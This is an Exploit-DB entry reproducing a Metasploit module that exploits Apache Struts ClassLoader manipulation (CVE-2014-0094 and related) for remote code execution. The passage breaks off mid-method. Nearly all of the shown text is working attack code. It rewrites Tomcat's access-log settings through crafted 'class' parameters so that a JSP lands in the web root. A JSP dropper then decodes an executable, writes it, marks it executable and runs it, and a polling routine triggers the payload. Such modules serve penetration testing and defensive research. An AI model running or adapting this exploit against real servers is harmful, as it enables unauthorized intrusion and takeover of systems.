Exploit-DB #41690
Description: Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2014-03-06
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # It's going to manipulate the Class Loader

  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts versions
        1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
        the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
        to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
        mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
        allow remote attackers to execute arbitrary Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas', # Vulnerability Discovery
          'Przemyslaw Celej', # Vulnerability Discovery
          'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
          'Matthew Hall <hallm[at]sec-1.com>' # SMB target
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-0094'],
          ['CVE', '2014-0112'],
          ['CVE', '2014-0114'],
          ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
          ['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
        ],
      'Platform'       => %w{ linux win },
      'Payload'        =>
        {
          'Space' => 5000,
          'DisableNops' => true
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          ['Java',
           {
               'Arch'     => ARCH_JAVA,
               'Platform' => %w{ linux win }
           },
          ],
          ['Linux',
           {
               'Arch'     => ARCH_X86,
               'Platform' => 'linux'
           }
          ],
          ['Windows',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget'  => 1))

    register_options(
      [
        Opt::RPORT(8080),
        OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
      ], self.class)

    deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
  end

  def jsp_dropper(file, exe)
    dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
    eos

    dropper
  end

  def dump_line(uri, cmd = '')
    res = send_request_cgi({
      'uri'     => uri,
      'encode_params' => false,
      'vars_get' => {
        cmd => ''
      },
      'version' => '1.1',
      'method'  => 'GET'
    })

    res
  end

  def modify_class_loader(opts)

    cl_prefix =
      case datastore['STRUTS_VERSION']
      when '1.x' then "class.classLoader"
      when '2.x' then "class['classLoader']"
      end

    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory"      => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix"         => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix"         => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })

    res
  end

  def check_log_file(hint)
    uri = normalize_uri("/", @jsp_file)

    print_status("Waiting for the server to flush the logfile")

    10.times do |x|
      select(nil, nil, nil, 2)

      # Now make a request to trigger payload
      vprint_status("Countdown #{10-x}...")
      res = dump_line(uri)

      # Failure. The request timed out or the server went away.
      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?

      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
        print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
        return true
      end
    end

    false
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(